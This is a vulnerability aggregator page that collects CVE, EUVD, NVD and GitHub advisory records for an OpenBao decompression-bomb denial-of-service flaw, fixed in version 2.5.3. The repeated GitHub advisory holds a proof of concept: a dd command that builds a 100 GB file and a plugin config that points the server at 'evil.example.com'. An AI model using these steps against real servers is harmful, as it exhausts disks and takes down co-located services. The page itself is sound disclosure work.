OpenBao has Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)
cve-program · CVE-2026-39396
PublishedOpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, `ExtractPluginFromImage()` in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature. Version 2.5.3 contains a patch.
Read the publisher's advisoryeuvd · EUVD-2026-24031
PublishedOpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, `ExtractPluginFromImage()` in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature. Version 2.5.3 contains a patch.
Read the publisher's advisorynvd · CVE-2026-39396
PublishedOpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, `ExtractPluginFromImage()` in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature. Version 2.5.3 contains a patch.
Read the publisher's advisoryosv · GHSA-r65v-xgwc-g56j
Published### Summary `ExtractPluginFromImage()` in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature. ### Details #### Root cause `helper/pluginutil/oci/downloader.go:301`: ```go if _, copyErr := io.Copy(outFile, tarReader); copyErr != nil { ``` `io.Copy()` reads until EOF with no size limit. The tar `header.Size` field is never validated before the copy, and `mutate.Extract` decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk. ### PoC 1. Set up a malicious OCI registry 2. Create a decompression bomb binary: ```bash dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binary ``` 3. Package it in a minimal OCI image 4. Push to the malicious registry 5. Configure victim OpenBao to use this registry: ```hcl plugin "secrets" "bomb" { image = "evil.example.com/plugin" version = "v1.0.0" binary_name = "openbao-plugin-secrets-bomb" sha256sum = "0000000000000000000000000000000000000000000000000000000000000000" } plugin_auto_download = true ``` 6. Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -> cause DoS ### Impact - Denial of Service: Disk exhaustion on the OpenBao server - Cascading failure: Co-located services (databases, other apps) also fail when the disk is full - Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up - Repeated exploitation: On SIGHUP or restart with plugin_auto_download = true, the bomb is re-downloaded ### Remediation 1. Validate `header.Size` against a configurable maximum before opening the output file 2. Wrap `tarReader` in `io.LimitReader(tarReader, maxSize+1)` and check bytes written after copy 3. Add a max_size configuration field to PluginConfig for operator control (default: 1 GiB)
Read the publisher's advisoryosv · GO-2026-5609
PublishedOpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS) in github.com/openbao/openbao
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
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cve-program · CVE-2026-39396
PublishedOpenBao has Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)
OpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, `ExtractPluginFromImage()` in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature. Version 2.5.3 contains a patch.
- Source published
- 21 Apr 2026 00:44:53 UTC
- Source modified
- 21 Apr 2026 19:49:18 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 3.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L
euvd · EUVD-2026-24031
PublishedOpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, `ExtractPluginFromImage()` in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via…
OpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, `ExtractPluginFromImage()` in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature. Version 2.5.3 contains a patch.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Apr 21, 2026, 12:44:53 AM
dateUpdated: Apr 21, 2026, 7:49:18 PM
1 related source bulletins · separate from aliases
openSUSE-SU-2026:10594-1: openbao-2.5.3-1.1 on GA media
CVE-2026-3605 · CVE-2026-39388 · CVE-2026-39396 · CVE-2026-39946 · CVE-2026-40264 · CVE-2026-5807
- Source published
- Apr 21, 2026, 12:44:53 AM (timezone not stated)
- Source modified
- Apr 21, 2026, 7:49:18 PM (timezone not stated)
- Saved here
- 13 Nov 2026 20:11:09 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 3.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L
nvd · CVE-2026-39396
PublishedOpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, `ExtractPluginFromImage()` in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via…
OpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, `ExtractPluginFromImage()` in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature. Version 2.5.3 contains a patch.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-400 · CWE-674 · CWE-770
Original publisher date fields
published: 2026-04-21T01:16:06.507
lastModified: 2026-11-11T23:10:00.263
1 source CPE criteria · context only
- cpe:2.3:a:openbao:openbao:*:*:*:*:*:*:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 21 Apr 2026 01:16:06 UTC
- Source modified
- 11 Nov 2026 23:10:00 UTC
- Saved here
- 12 Nov 2026 15:18:43 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 3.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L
CVSS 3.1 · [email protected] · Primary · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
osv · GHSA-r65v-xgwc-g56j
PublishedOpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)
### Summary `ExtractPluginFromImage()` in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature. ### Details #### Root cause `helper/pluginutil/oci/downloader.go:301`: ```go if _, copyErr := io.Copy(outFile, tarReader); copyErr != nil { ``` `io.Copy()` reads until EOF with no size limit. The tar `header.Size` field is never validated before the copy, and `mutate.Extract` decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk. ### PoC 1. Set up a malicious OCI registry 2. Create a decompression bomb binary: ```bash dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binary ``` 3. Package it in a minimal OCI image 4. Push to the malicious registry 5. Configure victim OpenBao to use this registry: ```hcl plugin "secrets" "bomb" { image = "evil.example.com/plugin" version = "v1.0.0" binary_name = "openbao-plugin-secrets-bomb" sha256sum = "0000000000000000000000000000000000000000000000000000000000000000" } plugin_auto_download = true ``` 6. Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -> cause DoS ### Impact - Denial of Service: Disk exhaustion on the OpenBao server - Cascading failure: Co-located services (databases, other apps) also fail when the disk is full - Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up - Repeated exploitation: On SIGHUP or restart with plugin_auto_download = true, the bomb is re-downloaded ### Remediation 1. Validate `header.Size` against a configurable maximum before opening the output file 2. Wrap `tarReader` in `io.LimitReader(tarReader, maxSize+1)` and check bytes written after copy 3. Add a max_size configuration field to PluginConfig for operator control (default: 1 GiB)
- Source published
- 21 Apr 2026 18:24:10 UTC
- Source modified
- 10 Sep 2026 03:51:02 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L
Publisher rating · LOW
osv · GO-2026-5609
PublishedOpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS) in github.com/openbao/openbao
OpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS) in github.com/openbao/openbao
- Source published
- 25 Jun 2026 22:34:34 UTC
- Source modified
- 27 Jul 2026 09:11:19 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.